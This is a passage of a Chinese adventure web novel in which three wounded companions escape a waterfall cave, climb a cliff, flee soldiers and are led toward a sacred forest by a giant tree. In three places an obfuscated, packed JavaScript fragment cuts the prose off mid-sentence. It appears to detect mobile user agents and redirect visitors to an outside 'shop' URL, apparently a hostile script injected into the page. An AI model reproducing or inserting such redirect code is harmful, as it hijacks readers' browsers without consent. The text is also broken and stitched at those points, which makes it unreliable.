而船主已经借着这一下,连滚带爬地扑向洞口另一侧——那里竟然也有垂挂的藤蔓,而且看起来更粗壮。他显然早就知道这条退路,刚才一直隐瞒。 “想跑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226092|197565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”利诺斯怒喝,转身欲追。 但船主已经抓住了藤蔓,回头冲着他们狞笑:“多谢带路。宝藏的秘密我收下了。你们就在这儿等死吧!”说完,他纵身一跃,抓住藤蔓迅速向下滑去。 “追!”阿尔克提斯当机立断。绝不能让船主逃出去报信。他一旦上岸,立刻就会引来克里同的搜捕,甚至可能用他们和碎片的情报去换取利益或保命。 利诺斯没有犹豫,立刻冲向船主逃走的藤蔓。阿尔克提斯看了一眼脸色惨白、几乎站立不稳的余茶,又看了看下方湍急的海水和礁石。 “抱紧我!”她对余茶厉声道,然后拉着余茶冲向最近的一根藤蔓,用尽力气将余茶的手和自己的手一起缠在藤蔓上,“抓紧!闭上眼睛!” 不等余茶反应,阿尔克提斯带着她,纵身跃出洞口。 失重感瞬间袭来,耳畔是瀑布的轰鸣和呼啸的风声,粗糙的藤蔓摩擦着皮开肉绽的手掌,火辣辣地疼!余茶死死闭着眼,抱紧阿尔克提斯,感觉心脏都要跳出胸腔! 下方传来船主惊恐的叫声和利诺斯怒骂的打斗声,他们似乎已经落到了礁石平台上,正在搏斗。 “砰!” 阿尔克提斯和余茶重重地摔落在湿滑的礁石平台上。阿尔克提斯用身体垫住了大部分冲击,自己却闷哼一声,喷出一口鲜血。余茶也摔得七荤八素,脚踝处传来骨头错位般的剧痛,眼前发黑。 她挣扎着抬头,看到不远处的景象—— 船主和利诺斯正在狭窄湿滑的平台上激烈搏斗。船主虽然断了一臂,但求生欲让他爆发出凶悍的力量,用牙咬、用头撞,状若疯虎。利诺斯匕首在手,但平台太小,难以施展,腿上伤口崩裂,鲜血染红小腿,一时间竟被逼得有些狼狈。 更要命的是,船主正有意无意地将搏斗引向平台边缘——那里下方就是乱石和汹涌的海浪! “利诺斯!小心!”余茶嘶声喊道。 就在她喊出的同时,船主猛地一个头槌撞在利诺斯胸口,趁他后退失衡的瞬间,独眼中凶光毕露,合身扑上,竟是要抱着利诺斯一起滚下平台,同归于尽。 千钧一发! 一道紫色身影如同扑火的飞蛾,猛地从旁边撞了过来! 是阿尔克提斯,她用尽最后力气,狠狠撞在船主身上! 船主被撞得一个趔趄,抱着利诺斯的手松开了。但他自己却因这一撞,加上平台湿滑,脚下彻底失控,惨叫着向平台边缘滑去。 “不——!”他伸出完好的那只手,徒劳地想抓住什么。 利诺斯反应极快,反手一刀,不是刺向船主,而是斩断了他抓住平台边缘一块凸起岩石的手指。 “啊——!”凄厉的惨叫戛然而止,船主的身影消失在平台边缘,紧接着是重物坠入海中、撞击礁石的沉闷声响,然后被海浪声吞没。 平台上,死里逃生的三人瘫倒在地,剧烈喘息,浑身湿透,血迹斑斑。 阳光透过水帘,斑驳地洒在他们身上。瀑布的轰鸣依旧,却仿佛隔着一层无形的壁障。 他们又一次活了下来,干掉了贪婪的水手,保住了碎片。但阿尔克提斯伤势加重,余茶脚踝近乎报废,利诺斯腿伤也不轻。而且,他们可能暴露了行踪,也失去了船只,困在这与世隔绝的峭壁礁石上。 利诺斯挣扎着爬过来,检查阿尔克提斯的伤势。她肋骨可能断了,内伤不轻。 阿尔克提斯虚弱地摆摆手,示意自己还撑得住。她从怀中再次拿出那四块碎片,目光落在黑色吊坠上。刚才吊坠的异动,船主的背叛与死亡,瀑布后的绝境……这一切,仿佛都在印证浮雕上那句警告——‘心亦有所求’。 所求为何?是忠诚?是献祭?还是……某种他们尚未理解的等价交换? 她抬起头,目光穿过轰鸣的水帘,望向外面阳光明媚却危机四伏的海岸,又看向身边这两个伤痕累累、因利益和绝境暂时绑在一起的同伴。 “休息一下,”她声音微弱却清晰,“然后……我们必须上岸。‘七眼’之脉,还有三个点。我们没有退路了。” 余茶躺在冰冷的礁石上,听着瀑布永不停歇的咆哮,感受着身体各处传来的尖锐疼痛。帝都安稳的生活早已是遥不可及的幻梦。如今支撑她的,只剩下最原始的求生本能,以及一丝被残酷现实激发出来的、冰冷的好奇心——她倒要看看,这该死的“地脉之心”,到底想要什么。而集齐七把钥匙之后,等待着他们的,究竟是“校准”的生机,还是“封印”的毁灭,亦或是……更无法想象的结局。 利诺斯撕下衣襟,默默处理着自己和阿尔克提斯身上最严重的伤口。他的脸上没有什么表情,只有那双淡琥珀色的眼睛深处,偶尔掠过一丝计算的光芒,仿佛在评估着残存的价值、可能的出路,以及……下一个需要支付的代价。 瀑布之外,阳光炽烈,爱琴海墨蓝如昔。但在这片美丽的海域之下,古老的怒火与现世的阴谋,正随着“七眼”的渐次苏醒,悄然编织着一张无人能逃的巨网。 22. 带血的攀岩 瀑布的水雾带着冰冷的咸腥,却无法洗净礁石平台上弥漫的血气与疲惫。阳光在水帘外肆意泼洒,勾勒出彩虹的幻影,却照不进三人眼底的阴霾。 阿尔克提斯靠在一块被水流冲刷光滑的岩石上,脸色惨白如纸。她急促的呼吸牵动着肋间的剧痛,每一次吸气都像有钝刀在刮擦。但她的手依然紧紧按在怀中包裹碎片的布囊上,指节因用力而泛白。大祭司的紫色猎装浸透了海水和血污,紧紧贴在身上,衬得她愈發消瘦,唯有那双深陷的眼眸,依旧燃烧着不容动摇的意志。信仰是她的脊柱,纵使断裂,亦要挺直。 利诺斯处理完自己腿上崩裂的伤口,又拿出之前从船主身上找到的、还算干净的布条,为大祭司简单固定了胸肋。他的动作不算温柔,但足够精准有效。“骨头没刺出来,但肯定裂了。不能剧烈动作,否则断骨移位,必死无疑。”他声音平淡,像是在陈述天气。 余茶躺在稍远处一块略干燥的石面上,浑身湿冷,脚踝处的肿胀已经蔓延到小腿中部,皮肤呈现出骇人的紫黑色,几乎失去了知觉。她知道,这只脚恐怕已经废了,至少短期内绝无可能再承重行走。身体作为资产的一部分正在迅速贬值,这认知让她心底泛起一丝冰冷的自嘲。她默默地从自己破烂的希顿上撕下最后几缕相对干净的亚麻布,将伤腿从脚踝到膝盖缠紧,不是为了治疗,仅仅是为了固定,防止无意识的晃动带来更多痛苦。 平台上陷入一种死寂的沉默,只有瀑布永不停歇的轰鸣。船主的尸体早已被海浪卷走,连一丝痕迹都未留下,仿佛从未存在过。但死亡的阴影并未散去。 “克里同的人,迟早会找到这里。”利诺斯打破沉默,目光扫视着水帘外隐约可见的海岸线,“船主虽然死了,但他船的碎片很可能留在礁石迷宫入口,迟早会被发现。届时,克里同会知道我们来了南岸。” “他还会知道,我们拿到了更多‘东西’。”阿尔克提斯接口,声音虚弱但清晰,“他对古老之物的贪婪,会让他像嗅到血腥的海狗一样扑过来。而且……”她顿了顿,“地脉的扰动越来越频繁,动静越来越大。克里同不是蠢人,他身边的占卜师也会不断警告他。他会将天灾与人祸都归咎于我们,归咎于‘错误仪式’触怒神灵,给我们戴上渎神者的帽子。这给了他最正当的剿杀理由。” 余茶听着,没有插话。政治与神权的斗争逻辑,无论在哪个时空都有其相通之处。当权者需要替罪羊,需要彰显力量的祭品。他们三人,恰好符合所有条件:外来者、掌握危险秘密、且与当权者敌对。 “所以,我们不能在这里等死。”利诺斯站起身,忍着腿痛走到平台边缘,仔细观察着地形。“也不能指望游回去。”他回头看向几乎无法移动的余茶,和伤势沉重的大祭司,“需要一条路,一条克里同的士兵想不到,或者短时间内无法封锁的路。” 阿尔克提斯顺着他的目光,望向他们来时的那条干涸暗河故道的出口,又望向下方嶙峋的礁石和波涛汹涌的海面,最后,她的视线落在了瀑布水帘与峭壁相接的上方。 “上面。”她缓缓说道,“沿着瀑布两侧的岩壁,有裂缝和突出的岩石,可以攀爬。顶上应该是山林。虽然危险,但比留在下面或试图泅渡更有可能避开搜捕。” 攀岩?以他们现在的状态?余茶看了一眼自己几乎报废的脚,又看了看大祭司肋间的伤和利诺斯流血的腿。这无异于自杀。 利诺斯也皱起了眉,但他没有立刻否定,而是走到岩壁近前,伸手触摸、敲打,评估着岩石的质地和可供攀附的缝隙。“岩壁湿滑,角度陡峭。有些地方长着苔藓和藤蔓,但未必牢固。”他抬头估算着高度,“至少十五人高。中间没有休息平台。” “必须试试。”阿尔克提斯挣扎着想要站起,却牵动伤势,疼得倒吸一口冷气,又跌坐回去。“我的伤……攀爬不行。但我会指引你们,告诉你们最可能的路径。利诺斯,你带余茶上去。” 利诺斯沉默地看着她,又看看余茶。“我带不动两个人,尤其还有一个完全不能动的。”他实话实说,语气里没有嘲讽,只有冷静的评估。 “不能单纯背。”余茶忽然开口,声音沙哑却平静,“用藤蔓和布条,把我绑在你背上。我的手臂还能用力,可以帮你分担一些,至少不成为完全的累赘。”她在脑中快速计算着力学和可能性。当身体成为负资产,就必须寻找其他价值——比如,不增加额外负担,甚至提供一点微小的助力。被绑着攀岩极度危险,但比留在下面等死强。 利诺斯审视着她,似乎在衡量这个方案的可行性与风险。最终,他点了点头:“可以试试。但如果你乱动,或者藤蔓断裂,我们两个一起摔死。” “我比你更不想死。”余茶面无表情地回答。 没有时间耽搁。利诺斯砍下平台上最粗壮的几根藤蔓,拧成绳索。他将余茶小心地固定在自己背上,用复杂的绳结确保她不会滑脱,同时留出一定的活动余地让她的手臂可以环住他的肩膀。整个过程快速而沉默。 阿尔克提斯则强忍疼痛,仔细回忆并指出岩壁上几处看起来相对可靠的着力点序列:一道蜿蜒向上的狭窄岩缝,几块突出的、看似稳固的页岩,一片生长着老韧灌木的凹陷…… “记住,重心紧贴岩壁,三点固定,一点移动。不要向下看。”她最后叮嘱,眼神复杂地看着他们,“上去后,如果可能,找结实的藤蔓垂下来。如果……如果不行,就继续往前,去地图上下一个点。碎片……交给你们了。” 这近乎遗言。余茶和利诺斯都明白,以她现在的伤势,独自留在下方凶多吉少。克里同的士兵随时可能搜来,也可能被野兽或跌落物伤害。 利诺斯没有说任何安慰或保证的话,只是最后检查了一遍绳索和背上的余茶,然后对阿尔克提斯点了点头。“抓紧。”他对背后的余茶说了一句,然后转身面向湿滑的岩壁。 攀爬开始。 每一步都如同在刀尖上舞蹈。湿漉漉的岩石滑不留手,苔藓下的缝隙可能暗藏松动。利诺斯的手指因为用力而迅速破皮出血,腿上的伤口传来阵阵撕裂的疼痛。他依靠着惊人的臂力、核心力量和对大祭司指示路径的信任,一点点向上挪动。余茶紧贴在他背上,尽量减少自己的晃动,一只手臂环住他的脖子,另一只在不干扰他呼吸的前提下提供一点微不足道的支撑力。她能感受到他背部肌肉的剧烈颤抖,能听到他压抑的喘息,能闻到他身上浓重的血腥和汗味。这是一种前所未有的、令人窒息的依赖感,将生死完全交托给另一个同样濒临绝境的人。她讨厌这种感觉,但此刻别无选择。 下方传来大祭司压抑的咳嗽声。瀑布的水雾不断扑打上来,模糊视线,浸湿衣衫,增加重量和寒冷。 中途,利诺斯一脚踩在了一块看似坚固、实则早已风化的页岩上!页岩瞬间碎裂脱落! “小心!”余茶低声惊呼。 利诺斯反应极快,在失去支撑的刹那,左手五指猛地发力,死死抠进上方一道狭窄的岩缝,整个人悬空了一瞬!背上的重量让他手臂肌肉贲起,青筋暴突,余茶的心提到了嗓子眼,手臂下意识更紧地环住他,另一只努力寻找支撑点。 千钧一发之际,利诺斯右腿奋力一蹬,找到了旁边另一处凸起,稳住了身形。两人都惊出了一身冷汗。 休息了不到三息,利诺斯再次向上。汗水混着血水从他额头滚落,滴在余茶的手臂上。 仿佛过了一个世纪,利诺斯的手终于抓住了岩壁顶端的边缘。他低吼一声,用尽最后力气,将两人拖上了相对平坦的、长满灌木和杂草的崖顶。 一上岸,利诺斯立刻解开绳索,和余茶一起瘫倒在地,剧烈喘息,如同离水的鱼。阳光毫无遮挡地洒在身上,带来久违的暖意,却驱不散骨髓里的寒意和疲惫。 稍稍恢复,利诺斯立刻挣扎着爬起,在附近寻找结实的树木或岩石,将带来的藤蔓绳索固定,然后小心地垂向下方。然而,瀑布的水声轰鸣,雾气弥漫,他们无法看清下方平台的具体情况,只能尽量将绳索垂到估计的位置。 他们等了许久,下方没有任何回应,也没有绳索被拉动的迹象。 阿尔克提斯没有上来。可能伤势过重无力攀爬,可能已经昏迷,也可能……遭遇了不测。 利诺斯看了一会儿崖下,脸上没有什么表情,只是眼底深处掠过一丝极淡的、难以解读的情绪。他走回余茶身边,开始检查周围环境。 这里果然是岛屿南侧的山林,地势较高,能隐约看到远处海岸线和更北方的山峦。林间寂静,暂时没有看到搜捕队的迹象。 “我们得离开这里,找个更隐蔽的地方。”利诺斯说,声音带着脱力后的沙哑,“然后决定下一步。” 余茶点头。她尝试移动,受伤的脚完全无法着力,只能靠手臂和另一条腿的力量,配合利诺斯的搀扶,在崎岖不平的林间艰难挪动。每一下都牵动全身伤痛。 他们找到了一处被巨石和茂密藤蔓遮掩的小小凹陷,勉强能容身。利诺斯出去了一趟,带回来一些野果和用大树叶卷起的清水,还采了一些有止血镇痛效果的常见草药。 两人沉默地分食了野果,用清水清洗了伤口,敷上草药。没有火,也没有多余的话语。 直到夜色开始降临,林间光线变得昏暗,余茶才缓缓开口,声音在寂静中格外清晰:“地图上下一个点,是哪里?” 利诺斯靠在岩壁上,闭着眼,仿佛在养神。“浮雕点亮了‘眼’、‘火’、‘水’。下一个……按地图虚影显示,应该是‘木’,或者代表植物的节点。位置在岛屿中部偏东,靠近‘爱科谷’所在山脉的余脉,有一片古老的神圣林地,山民称为‘千橡之森’。” “很远。” “嗯。而且必须穿过克里同控制力较强的区域。” “碎片,”余茶看向利诺斯腰间——他用布条将四块碎片紧紧捆在一起放在布袋里,随身携带,“如果大祭司……我们还能看懂吗?知道怎么用吗?” 利诺斯睁开眼,淡琥珀色的眸子在昏暗中映着最后的天光。“她告诉了我一些。关于‘脉’的流向,关于碎片可能对应的节点属性。剩下的……靠猜,靠试。”他顿了顿,“或者,靠你翻译那些古老的记号。” 压力无形地转移到了余茶身上。她感觉喉咙发干。翻译那些支离破碎、系统不明的古代文字,本就困难重重,如今失去了最了解背景的大祭司,更是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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余茶的心猛地一沉,凝神倾听。起初只有风声,但渐渐地,她听到了——极其轻微、但逐渐靠近的脚步声,还有压低的人语声,从他们来时的方向,沿着山脊线传来!火把的光晕隐约在林间晃动。 搜捕队这么快就找到这边了?! 利诺斯已经无声地挪到凹陷边缘,透过藤蔓缝隙向外窥视。余茶也勉强撑起身子,紧张地望向外面。 火把的光越来越近,能看清是七八个人影,穿着皮革甲胄,手持武器,正是克里同的士兵。他们分散搜索,动作谨慎,显然是在追踪什么。 是发现了瀑布平台的痕迹?还是沿着他们攀爬时可能留下的线索? 无论哪种,他们藏身的这个凹陷虽然隐蔽,但绝非万无一失。一旦士兵靠近仔细搜查…… 利诺斯退回余茶身边,眼神快速扫视周围。退路?几乎没有。硬拼?两人重伤,毫无胜算。 脚步声和谈话声越来越清晰。 “……这边有踩倒的草……还有血迹……” “仔细搜!克里同有令,那个女祭司带着对神不敬的东西,必须抓到他们!” 火把的光已经能映亮他们藏身处附近的藤蔓了。 绝境,再次以最直接的方式降临。 余茶握紧了拳头,指甲掐进掌心。利诺斯的手按住了匕首柄,身体微微弓起,像蓄势待发的豹子,尽管他知道这可能是最后一次徒劳的扑击。 就在这时,异变再生。 并非来自逼近的士兵,而是来自他们脚下的土地! 一股微弱但清晰的震颤,毫无征兆地从地底传来。紧接着,一种低沉的、仿佛巨木根系在泥土中呻吟伸展的怪异声响,从山林深处,尤其是千橡之森的方向隐隐传来。 这声响和震颤极其短暂,却让正在搜索的士兵们瞬间停下了脚步,警惕地望向四周,火把的光乱晃。 “什么声音?” “地……地又动了?” “好像是从森林那边传来的……” 趁着一瞬间的骚动和注意力转移,利诺斯眼中精光一闪,他猛地拉起余茶,用极低的声音急促道:“不是机会!是陷阱!走!” 他指的是地脉的异动吸引了士兵注意,但这异动本身也意味着更大的危险可能在酝酿。 顾不得隐藏行踪了,利诺斯半拖半背着余茶,冲出了藏身的凹陷,朝着与士兵和千橡之森都成夹角的方向,没命地奔入更深的黑暗山林。 “在那边!追!”身后立刻传来士兵的怒吼和急促的脚步声。 火把的光在后面紧追不舍!利诺斯凭着对地形的直觉和超越常人的耐力,在黑暗崎岖的林间疯狂逃窜。余茶被他背着,颠簸得几乎要晕过去,伤腿不断撞击树木岩石,痛得她眼前发黑,只能死死咬住嘴唇,不让自己叫出声。 追兵越来越近,呼喝声几乎就在身后,利诺斯腿上伤口彻底崩裂,鲜血直流,速度明显慢了下来。 眼看就要被追上—— 前方突然出现一道陡峭的斜坡,坡下黑漆漆的,不知深浅。 没有选择! 利诺斯低吼一声,抱着余茶,纵身向斜坡下滚去。 天旋地转,草木碎石刮擦着身体。翻滚中,余茶最后看到的,是坡顶上追兵火把的光晕,和利诺斯紧绷的下颌线。然后,她的后脑不知撞上了什么坚硬的东西,剧痛传来,黑暗如同潮水般瞬间淹没了所有意识。 在彻底失去知觉前,她似乎听到很远的地方,传来大祭司阿尔克提斯那首古老歌谣的模糊回响,又或许是地脉哀鸣的错觉。 “当七眼皆暗……循此脉……” 23. 千橡之影 黑暗并非虚无。它裹挟着翻滚的眩晕、骨骼撞击岩石的钝痛、草木刮擦皮肤的刺痛,最后汇聚成后脑处一次沉重闷击带来的、炸裂般的剧痛。余茶感觉自己像一片被卷入漩涡的枯叶,在无光的深渊里沉浮、旋转,然后被狠狠拍在坚硬的河床上,意识碎成千万片,随着冰冷的地下水流散。 不知过了多久,一些碎片开始挣扎着聚拢。余茶听到了持续不断的、空洞的水滴声,从极高的地方落下,敲击着下方的水洼或岩石,发出单调而清晰的回响。还有……微弱的、不规律的喘息声,就在很近的地方,带着极力压抑的痛苦。她尝试控制身体,但身体像散了架,每一处关节和肌肉都在无声地呐喊拒绝听令。后脑勺肿起一个鸡蛋大的包,一跳一跳地疼。但最尖锐的痛楚,依旧来自左腿——脚踝处已经麻木,可小腿肿胀传来的胀痛和皮肤紧绷欲裂的感觉,清晰得可怕。身下是冰冷、潮湿、布满细碎沙砾的岩石地面。 她又试图睁开眼,眼皮却沉重如铁。尝试了几次,才勉强掀开一条缝。 昏暗。并非绝对的黑暗。有极其微弱的、不知来源的幽绿色光晕,勉强勾勒出周围的轮廓。他们似乎在一个地下岩洞里,空间不大,头顶是高高的、滴着水的穹窿。空气冰冷,带着浓重的湿土和矿物质气味,还有一种……极淡的、清新的草木腐败气息,与之前硫磺和金属的味道截然不同。 喘息声来自旁边。余茶艰难地转动脖颈,看到利诺斯靠坐在不远处一块较为平坦的岩石上。他脸色苍白如鬼,额头上有一道狰狞的擦伤,鲜血已经凝结。他的左腿以一种不自然的角度弯曲着,满是血污,不仅旧伤崩裂,还骨折了,很可能是在滚落时撞到了硬物。 他闭着眼,胸膛剧烈起伏,但一只手依旧紧握着匕首,另一只手……死死按在腰间那个装着碎片的布囊上。即使在昏迷或半昏迷的边缘,他对这些“钥匙”的执念也未曾放松。 余茶想说话,喉咙却干涩得像两片砂纸摩擦,只发出一点气音。她再次尝试移动手臂,剧痛传来,但还能动。她慢慢摸索着身边,指尖触到一小片湿滑的苔藓。她费力地揪下一小块,塞进嘴里。苔藓带着土腥味和一丝微弱的清凉,勉强润湿了一点喉咙。 “水……”她终于挤出一个字,声音嘶哑难辨。 利诺斯的眼皮动了动,缓缓睁开。淡琥珀色的眼睛在幽绿光晕下显得暗淡,但其中的警惕和清醒迅速回归。他看了一眼余茶,又看了看自己变形的腿,脸上没什么表情,只有嘴角因疼痛而微微抽搐。 他沉默地解下腰间一个皮质的小水囊——竟然在如此剧烈的翻滚中还没丢失——拧开盖子,自己先喝了一小口,然后递给余茶。 余茶接过,小口啜饮。冰冷的水滑过喉咙,带来些许生气。 “我们……在哪儿?”她问,声音依旧沙哑。 利诺斯没有立刻回答,他侧耳倾听了一会儿那持续的水滴声,又仔细观察了岩壁的纹理和倾斜方向。“从斜坡滚下来,掉进了地缝或地下河的支脉。深度不浅。上面……”他抬头看了看高处隐约的、被藤蔓和碎石半掩的缺口,“暂时安全。追兵不会轻易下来。但我们也上不去。” 一个更精致的囚笼。余茶心底冰凉。两个重伤员,困在地下,没有食物,没有药物,甚至没有明确的方向。 “你的腿……”她看向利诺斯扭曲的左腿。 “断了。”利诺斯言简意赅,语气平静得可怕。他放下水囊,检查伤口。胫骨明显错位,皮开肉绽,但没有刺出皮肤。他咬紧牙关,额上青筋暴起,开始尝试用手法复位。没有夹板,没有止痛药,只有冰冷的岩石和绝望作为背景。 余茶别开脸,不忍看那过程。她听到利诺斯压抑的闷哼和骨骼摩擦的轻微声响,身体也不由自主地绷紧。几分钟后,声音停止,只剩下更粗重的喘息。 “暂时固定了。”利诺斯的声音带着脱力后的虚弱。他用匕首从自己衣服上割下布条,又砍下旁边几根看起来还算坚韧的、从岩缝中长出的细长石钟乳,做成简陋的夹板,将伤腿紧紧绑住。整个过程他做得一丝不苟,仿佛在修理一件出故障的乐器。 处理完自己的伤,他才再次看向余茶:“你的腿?” “废了。”余茶回答得同样干脆,“脚踝可能碎了,小腿肿胀,感觉不到脚尖。”她没有哭诉,只是陈述事实。在这种地方,情绪是奢侈品,也是毒药。 利诺斯点点头,没说什么安慰的话。他挪动身体,靠回岩壁,再次闭上眼睛,似乎在保存体力,也似乎在思考。 岩洞里只剩下水滴声和两人压抑的呼吸。幽绿的光晕稳定地弥漫着,来源似乎是岩壁某些特殊的矿物。这光线虽然微弱,但至少让他们不至于完全陷入黑暗的恐慌。 时间在痛苦和寂静中缓慢爬行。余茶感到饥饿和寒冷开始侵蚀本就虚弱的身体。她摸了摸怀里,空空如也。最后偷偷留下的硬饼早就在之前的奔逃中丢失。 就在她以为他们会就这样无声无息地死在这个不知名的地穴里时,利诺斯忽然又睁开了眼睛。 “你听。”他低声道。 余茶凝神。除了水滴声,似乎……还有一种极其微弱的、沙沙的声响,像是什么东西在岩壁上缓慢爬行,又像是微风穿过极细的缝隙。这声音断断续续,来源不定。 “是风声?”余茶猜测。 “也许是……气流的通道。”利诺斯眼中亮起一丝微光,“有风,就可能通向外面,或者其他更大的空间。”他挣扎着,用未受伤的腿和手臂的力量,沿着岩壁一寸寸挪动,侧耳贴在冰冷的石面上仔细倾听。 余茶也尝试感知。她发现,那沙沙声似乎在某些方向更清晰一些。她指向洞窟一侧较为黑暗的角落:“那边……好像声音大一点?” 利诺斯挪过去,听了片刻,点头。“有缝隙。”他用匕首柄敲击岩壁,声音略显空洞。“后面是空的。但岩壁很厚。” 希望如同黑暗中的萤火,微弱却真实。但如何穿过这厚厚的岩壁?他们没有工具,没有力气。 利诺斯的目光落在了腰间装着碎片的布囊上,又看了看岩壁上那幽绿的光源矿物。他若有所思。 “那些碎片……”余茶也想到了,“在礁石洞穴,它们能点亮地图,能激发能量护盾……能不能……对岩石起作用?” “不知道。”利诺斯坦白,“但可以试试。反正没有别的办法。”他将布囊解下,拿出四块碎片:石台钥匙、铜耙子、黑色吊坠、还有铜杯陶片。在幽绿的光线下,它们显得古朴而沉默。 他尝试着将碎片靠近那面有缝隙的岩壁。起初毫无反应。他改变位置,调整角度,甚至用手按压碎片接触岩壁。 依旧寂静。 就在希望即将再次熄灭时,利诺斯无意中将黑色吊坠贴近岩壁上一处颜色略深、纹理似乎有些不同的区域,异变发生了! 不是爆炸或强光。那黑色吊坠本身,忽然变得温热起来。紧接着,吊坠表面那些复杂的内刻纹路,开始流淌过极其微弱的、几乎看不见的暗金色光痕。与此同时,被吊坠贴住的岩壁那一小块区域,颜色开始加深、变软,仿佛被无形的力量侵蚀、溶解,岩石表面出现细微的龟裂,簌簌落下粉末。 有效!但这效果极其缓慢,范围也很小。 “它……在‘吃’石头?”余茶难以置信。 “不是吃。”利诺斯紧盯着那缓慢变化的一小点,“是……改变?某种我们无法理解的作用。”他试着移动吊坠,发现效果只发生在紧密接触的极小区域。照这个速度,要弄开一个能让人通过的洞口,可能需要几天几夜,而他们连半天都可能撑不过去。 而且,随着吊坠发挥作用,利诺斯的脸色肉眼可见地变得更差,额头渗出更多冷汗。“它在……吸取什么。”他喘息着说,“不是我的体力……是别的……感觉。” 余茶想起浮雕上的警告——“心亦有所求”。难道使用这些碎片,本身就需要支付某种代价?生命力?精神?还是别的什么? “停下!”她下意识喊道,“你可能撑不到打开洞口!” 利诺斯没有立刻停下,他眼中闪烁着赌徒般的狠厉:“停下就是等死!” 但仅仅又过了十几息,他就身体一晃,几乎握不住吊坠,那暗金色的光痕也骤然黯淡下去。岩壁上的侵蚀停止了,只留下一个指甲盖大小、浅浅的凹坑。 代价高昂,收效甚微。 利诺斯瘫坐回去,剧烈喘息,眼神黯淡了许多。“不行……这样不行……”他喃喃道。 希望的火苗再次摇曳欲熄。绝望如同洞窟里的寒气,丝丝缕缕渗入骨髓。 就在两人相对无言、几乎要被冰冷的寂静吞噬时,余茶的目光无意中扫过岩洞另一侧,之前未曾仔细留意的地方。在那里,幽绿的光晕下,岩壁的底部似乎有一些非自然的线条。 “那边……”她指着那个方向,“墙上好像有东西。” 利诺斯强打精神,顺着她指的方向看去。他挪动过去,用匕首刮去岩壁底部的苔藓和沉积物。 露出来的,是刻痕。 不是米诺斯线形文字,也不是他们之前见过的任何符号。而是非常简单的图画:用尖锐石器刻出的、线条稚拙却清晰的图画。 第一幅:一个简笔的小人,站在一棵异常高大的树下,树冠如云。 第二幅:小人把一个中间点了一点的圆圈举向大树。 第三幅:大树垂下一条藤蔓或根须,缠绕住发光物品。 第四幅:大树旁边的岩壁打开了一道门。 第五幅:小人走进门内。 图画到此为止,没有后续。 “这是……指引?”余茶看着这原始的连环画,“那个点了点的圆圈……是指碎片?这棵树……” “千橡之森。”利诺斯接口,眼中重新燃起光芒,“那棵‘异常高大的树’,很可能是森林里的地标,或者……就是‘木’节点的核心!”他指向第四幅画,“大树能打开岩壁的门……难道,碎片需要用到那棵特定的树上?” 图画的信息简单直白,却指向了一条意想不到的路径。碎片不能直接作用于普通岩石,但或许,在特定的地点——那棵巨树,通过特定的方式——举向大树?就能借助树木本身的力量,打开通路。 这听起来如同神话故事,但结合他们之前经历的一切——发光的海水、能量护盾、地脉共鸣——似乎又并非完全不可能。 “可是……”余茶看着自己和利诺斯的腿,“我们怎么去千橡之森?怎么找到那棵树?” 利诺斯沉默了。图画给了希望,现实却设置了几乎不可逾越的障碍。他们被困地下,重伤在身,外面还有追兵。 时间一分一秒过去,饥饿、寒冷和伤痛正在加速消耗他们本就微弱的生命力。幽绿的光晕仿佛也变得冷漠起来。 就在余茶意识又开始有些模糊的时候,那微弱的、沙沙的风声似乎变大了些。而且,风中似乎夹杂了一丝极其微弱的、植物的清新气息,还有……隐约的、像是很多树叶在风中摩挲的哗哗声? 这声音不是来自岩壁缝隙后,而是似乎从他们头顶上方那个被藤蔓碎石掩埋的缺口外,远远地、飘飘渺渺地传来! 利诺斯也听到了。他猛地抬起头,看向那个缺口,眼神锐利如鹰。 “声音……是从上面传来的?森林的声音?”余茶难以置信。他们掉下来这么深,怎么可能听到地面的声音?除非…… “除非,”利诺斯声音低沉,带着一丝难以置信的猜测,“我们掉下来的地方,离千橡之森非常近。而且,地下的构造,可能将声音传导了下来。”他再次看向那几幅图画,“大树……根须……打开岩壁……如果那棵树的根系,极其发达,甚至深入到了这片地下岩层呢?” 这个猜想大胆却诱人。如果那棵作为“木”节点的巨树,其根系真的遍布地下,甚至能感知或呼应碎片的力量,那么他们或许不需要爬回地面,就能通过地下与巨树建立某种联系?图画上岩壁打开的门,未必是地上的门,也可能是地下的通道! 但这依旧只是猜想。如何建立联系? 利诺斯的目光,再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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更惊人的是,他们头顶上方,那原本微弱的树叶摩挲声,似乎变清晰了。而且,脚下的大地深处,也传来了一种新的、沉闷的隆隆声,仿佛有什么巨大的东西在地下缓慢移动、伸展。 是树根?还是地脉的又一次扰动? 来不及细想,变化发生了! 在他们面前那面刻有图画的岩壁底部,靠近地面的位置,原本坚硬的岩石表面,突然开始隆起、开裂。不是吊坠那种缓慢侵蚀,而是仿佛有什么力量从内部将岩石撑开。裂缝迅速扩大,碎石滚落,尘土飞扬。 一个黑黝黑的、仅容一人匍匐通过的洞口,就这么在岩石与泥土的混合物中,生生被“挤”了出来!洞口边缘参差不齐,残留着新鲜的断根和潮湿的泥土气息。一股远比之前清晰的、带着浓郁生命力和腐朽落叶味道的气息,从洞内涌出。 洞口后面,是深不见底的黑暗,但那股气息明确无误地告诉他们——通向森林,通向那棵巨树的方向。 图画上的预言,以这种匪夷所思的方式应验了。 利诺斯和余茶对视一眼,都从对方眼中看到了震惊、狂喜,以及更深重的警惕。这力量远超理解,这“帮助”也未必全然善意。 但,这是唯一的生路。 没有时间犹豫。利诺斯将碎片收好给了余茶,率先拖着断腿,艰难地向那刚刚出现的洞口爬去。余茶紧随其后,用胳膊肘和未受伤的腿,一点一点挪进那充斥着泥土和根须气味的黑暗通道。 